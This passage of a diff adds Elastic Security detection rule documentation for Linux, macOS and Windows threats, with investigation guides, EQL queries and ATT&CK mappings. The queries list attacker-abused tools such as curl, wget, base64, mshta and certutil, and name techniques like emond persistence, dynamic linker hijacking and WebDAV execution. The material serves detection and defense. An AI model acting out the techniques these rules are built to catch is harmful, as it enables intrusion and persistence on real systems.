logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/arget13/DDexec + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Dynamic Linker Discovery via od* + + +The dynamic linker in Linux environments is crucial for loading shared libraries needed by programs. Attackers may exploit the `od` utility to inspect these linkers, seeking vulnerabilities for code injection. The detection rule identifies suspicious use of `od` targeting specific linker files, flagging potential reconnaissance activities that could precede an exploit attempt. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the 'od' utility, focusing on the process name and arguments to ensure they match the suspicious patterns identified in the query. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Check the system's process execution history for any other unusual or related activities around the same time, such as attempts to access or modify linker files. +- Analyze any network connections or data transfers initiated by the host around the time of the alert to identify potential data exfiltration or communication with known malicious IPs. +- Correlate this event with other security alerts or logs from the same host to identify patterns or sequences of actions that could indicate a broader attack campaign. + + +*False positive analysis* + + +- System administrators or developers may use the od utility to inspect dynamic linker files for legitimate debugging or system maintenance purposes. To handle this, create exceptions for known user accounts or processes that regularly perform these activities. +- Automated scripts or monitoring tools might invoke od on dynamic linker files as part of routine system checks. Identify these scripts and whitelist their execution paths to prevent unnecessary alerts. +- Security researchers or penetration testers could use od during authorized security assessments. Establish a process to temporarily disable the rule or add exceptions for the duration of the assessment to avoid false positives. +- Some software installations or updates might involve the use of od to verify linker integrity. Monitor installation logs and correlate with od usage to determine if the activity is benign, and consider adding exceptions for these specific scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes associated with the `od` utility that are targeting dynamic linker files to halt any ongoing reconnaissance or exploitation attempts. +- Conduct a thorough review of system logs and process execution history to identify any unauthorized access or modifications to the dynamic linker files. +- Restore any altered or compromised dynamic linker files from a known good backup to ensure system integrity. +- Implement stricter access controls and monitoring on critical system files, including dynamic linkers, to prevent unauthorized access and modifications. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected or if there is a broader threat campaign. +- Update detection and monitoring systems to enhance visibility and alerting for similar suspicious activities involving the `od` utility and critical system files. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") + and process.name == "od" and process.args in ( + "/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/etc/ld.so.preload", "/lib64/ld-linux-x86-64.so.2", + "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/usr/lib64/ld-linux-x86-64.so.2" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-emond-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-emond-child-process.asciidoc new file mode 100644 index 0000000000..044821c08a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-emond-child-process.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-suspicious-emond-child-process]] +=== Suspicious Emond Child Process + +Identifies the execution of a suspicious child process of the Event Monitor Daemon (emond). Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.xorrior.com/emond-persistence/ +* https://www.elastic.co/security-labs/handy-elastic-tools-for-the-enthusiastic-detection-engineer + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Emond Child Process* + + +The Event Monitor Daemon (emond) on macOS is a service that executes commands based on system events, like startup or user login. Adversaries exploit emond by crafting rules that trigger malicious scripts or commands during these events, enabling persistence. The detection rule identifies unusual child processes spawned by emond, such as shell scripts or command-line utilities, which are indicative of potential abuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is indeed emond and check the specific child process name against the list of suspicious processes such as bash, python, or curl. +- Investigate the command line arguments used by the suspicious child process to identify any potentially malicious commands or scripts being executed. +- Check the timing of the event to see if it coincides with known system events like startup or user login, which could indicate an attempt to establish persistence. +- Examine the user account associated with the process to determine if it is a legitimate user or potentially compromised account. +- Look for any recent changes to emond rules or configuration files that could have been modified to trigger the suspicious process execution. +- Correlate this event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they use shell scripts or command-line utilities. Review scheduled tasks or maintenance scripts and exclude them if they are verified as non-threatening. +- Legitimate software installations or updates might spawn processes like bash or curl. Monitor installation logs and exclude these processes if they align with known software updates. +- User-initiated scripts for automation or customization can cause alerts. Verify the user's intent and exclude these processes if they are part of regular user activity. +- Administrative tasks performed by IT staff, such as using launchctl for service management, may trigger the rule. Confirm these activities with IT staff and exclude them if they are part of routine administration. +- Development environments on macOS might use interpreters like Python or Perl. Validate the development activities and exclude these processes if they are consistent with the developer's workflow. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious child processes spawned by emond, such as shell scripts or command-line utilities, to halt ongoing malicious actions. +- Review and remove any unauthorized or suspicious emond rules that may have been added to execute malicious commands during system events. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Restore any altered or deleted system files from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for emond and related processes to detect similar threats in the future, ensuring alerts are configured for unusual child processes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.parent.name == "emond" and + process.name like~ ( + "bash", + "dash", + "sh", + "tcsh", + "csh", + "zsh", + "ksh", + "fish", + "Python", + "python*", + "perl*", + "php*", + "osascript", + "pwsh", + "curl", + "wget", + "cp", + "mv", + "touch", + "echo", + "base64", + "launchctl") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-endpoint-security-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-endpoint-security-parent-process.asciidoc new file mode 100644 index 0000000000..4831df0bc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-endpoint-security-parent-process.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-suspicious-endpoint-security-parent-process]] +=== Suspicious Endpoint Security Parent Process + +A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code injection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Endpoint Security Parent Process* + + +Endpoint security solutions, like Elastic and Microsoft Defender, monitor and protect systems by analyzing process behaviors. Adversaries may exploit these processes through techniques like process hollowing, where malicious code is injected into legitimate processes to evade detection. The detection rule identifies anomalies by flagging unexpected parent processes of security executables, excluding known benign paths and arguments, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details for the flagged executable (e.g., esensor.exe or elastic-endpoint.exe) to understand its expected behavior and any recent changes in its configuration or deployment. +- Examine the parent process executable path and name to determine if it is a known legitimate process or potentially malicious. Pay special attention to paths not listed in the known benign paths, such as those outside "?:\Program Files\Elastic\*" or "?:\Windows\System32\*". +- Investigate the command-line arguments used by the parent process to identify any unusual or suspicious patterns that could indicate malicious activity, especially if they do not match the benign arguments like "test", "version", or "status". +- Check the historical activity of the parent process to see if it has been involved in other suspicious activities or if it has a history of spawning security-related processes. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and identify any related suspicious activities. +- Assess the risk and impact of the alert by considering the environment, the criticality of the affected systems, and any potential data exposure or operational disruption. + + +*False positive analysis* + + +- Security tools or scripts that automate tasks may trigger false positives if they launch endpoint security processes with unexpected parent processes. To manage this, identify and document these tools, then add their parent executable paths to the exclusion list. +- System administrators or IT personnel may use command-line tools like PowerShell or cmd.exe for legitimate maintenance tasks. If these tasks frequently trigger alerts, consider adding specific command-line arguments used in these tasks to the exclusion list. +- Software updates or installations might temporarily cause unexpected parent processes for security executables. Monitor these activities and, if they are routine and verified, add the associated parent executable paths to the exclusion list. +- Custom scripts or third-party applications that interact with security processes can also lead to false positives. Review these scripts or applications, and if they are deemed safe, include their parent executable paths in the exclusion list. +- Regularly review and update the exclusion list to ensure it reflects the current environment and operational practices, minimizing the risk of overlooking new legitimate processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity and prevent further code execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized changes or additional malicious files. +- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised. +- Update endpoint security solutions and apply any available patches to address vulnerabilities that may have been exploited by the adversary. +- Monitor the network and systems for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting based on the identified threat indicators. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("esensor.exe", "elastic-endpoint.exe") and + process.parent.executable != null and + process.args != null and + /* add FPs here */ + not process.parent.executable : ( + "?:\\Program Files\\Elastic\\*", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\WerFault*.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\Windows\\explorer.exe" + ) and + not ( + process.parent.executable : ( + "?:\\Windows\\System32\\cmd.exe", + "?:\\Windows\\System32\\SecurityHealthHost.exe", + "?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe", + "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + ) and + process.args : ( + "test", "version", + "top", "run", + "*help", "status", + "upgrade", "/launch", + "/enable", "/av" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-a-mounted-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-a-mounted-device.asciidoc new file mode 100644 index 0000000000..7877525447 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-a-mounted-device.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-from-a-mounted-device]] +=== Suspicious Execution from a Mounted Device + +Identifies when a script interpreter or signed binary is launched via a non-standard working directory. An attacker may use this technique to evade defenses. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ +* https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution from a Mounted Device* + + +In Windows environments, script interpreters and signed binaries are essential for executing legitimate tasks. However, adversaries can exploit these by launching them from non-standard directories, such as mounted devices, to bypass security measures. The detection rule identifies such anomalies by monitoring processes initiated from unexpected directories, especially when triggered by common parent processes like explorer.exe, thus flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path and working directory, ensuring they match the criteria of being launched from a non-standard directory (e.g., not from "C:\\"). +- Investigate the parent process, explorer.exe, to determine if there are any unusual activities or user actions that might have triggered the suspicious execution. +- Check the user account associated with the process to verify if the activity aligns with their typical behavior or if the account might be compromised. +- Analyze the command line arguments used by the suspicious process to identify any potentially malicious scripts or commands being executed. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. +- Examine the mounted device from which the process was executed to determine its origin, legitimacy, and any associated files that might be malicious. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they are executed from a mounted device. Users can create exceptions for known software update processes that are verified as safe. +- Portable applications running from USB drives or external storage can be flagged. To mitigate this, users should whitelist specific applications that are frequently used and deemed non-threatening. +- IT administrative scripts executed from network shares or mounted drives for maintenance tasks might be detected. Users can exclude these scripts by specifying trusted network paths or script names. +- Development environments where scripts are tested from non-standard directories can cause alerts. Developers should ensure their working directories are recognized as safe or use designated development machines with adjusted monitoring rules. +- Backup or recovery operations that utilize mounted devices for script execution may be misidentified. Users should identify and exclude these operations by defining exceptions for known backup tools and processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified by the detection rule, such as those initiated by script interpreters or signed binaries from non-standard directories. +- Conduct a forensic analysis of the mounted device and the affected system to identify any malicious payloads or scripts and remove them. +- Review and restore any altered system configurations or registry settings to their original state to ensure system integrity. +- Update and patch the system to close any vulnerabilities that may have been exploited by the attacker. +- Monitor for any recurrence of similar activities by enhancing logging and alerting mechanisms, focusing on process execution from non-standard directories. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.executable : "C:\\*" and + ( + process.working_directory : ("D:\\*", "E:\\*", "F:\\*") or + ?process.Ext.device.product_id : ("Virtual DVD-ROM", "Virtual Disk") + ) and + process.parent.name : "explorer.exe" and + process.name : ( + "rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "regsvr32.exe", "cscript.exe", + "wscript.exe", "certutil.exe", "bitsadmin.exe", "msiexec.exe", "wmic.exe", "schtasks.exe", "msbuild.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-a-webdav-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-a-webdav-share.asciidoc new file mode 100644 index 0000000000..836c2d5fba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-execution-from-a-webdav-share.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-34-suspicious-execution-from-a-webdav-share]] +=== Suspicious Execution from a WebDav Share + +Identifies attempts to execute or invoke content from remote WebDAV shares. Adversaries may abuse WebDAV paths, public tunnels, or host@port UNC paths to run tools or scripts while reducing local staging on the victim file system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: WebDAV Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from a WebDav Share* + + + +*Possible investigation steps* + + +- Does the alert command line show direct WebDAV execution, and external delivery vs internal transfer? + - Focus: `process.command_line`, `process.name`, and `process.executable`; separate public tunnel or tenant paths from internal host@port UNC, "@SSL", "DavWWWRoot", or high-port paths. + - Implication: escalate when a script host, installer, shell, transfer tool, or net.exe points to public WebDAV content or an unrelated internal transfer host; lower concern when path maps to one recognized internal tenant, vendor, or deployment namespace for that role. + +- Do the launcher identity and parent lineage match that exact workflow? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when a signed utility proxies execution from a browser, Office app, chat client, archive tool, or unexplained service context. Public paths from user-facing parents suggest user delivery; internal host@port paths or net.exe share activity suggest lateral transfer. Lower concern when signer, parent, path, host, and user recur as one recognized collaboration, deployment, or support workflow; identity alone does not clear remote execution. + +- Did the alerting process spawn follow-on execution or share-mount activity? + - Focus: child or sibling process starts on `host.id` where `process.parent.entity_id` matches `process.entity_id`; check shells, downloaders, installers, schedulers, net.exe, or user-writable `process.executable` paths. !{investigate{"description":"","label":"Child process events from the WebDAV launcher","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is unavailable, use `host.id`, `process.pid`, and a tight alert-time window; PID lineage is weaker because of reuse. + - Implication: escalate when the launcher spawns download, install, persistence, or share-mapping tied to the same path; narrow scope when the chain ends cleanly inside one recognized workflow. + +- Did file telemetry show local staging or later execution from the WebDAV launch? + - Focus: if file telemetry exists, query `host.id` plus `process.entity_id` for `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and 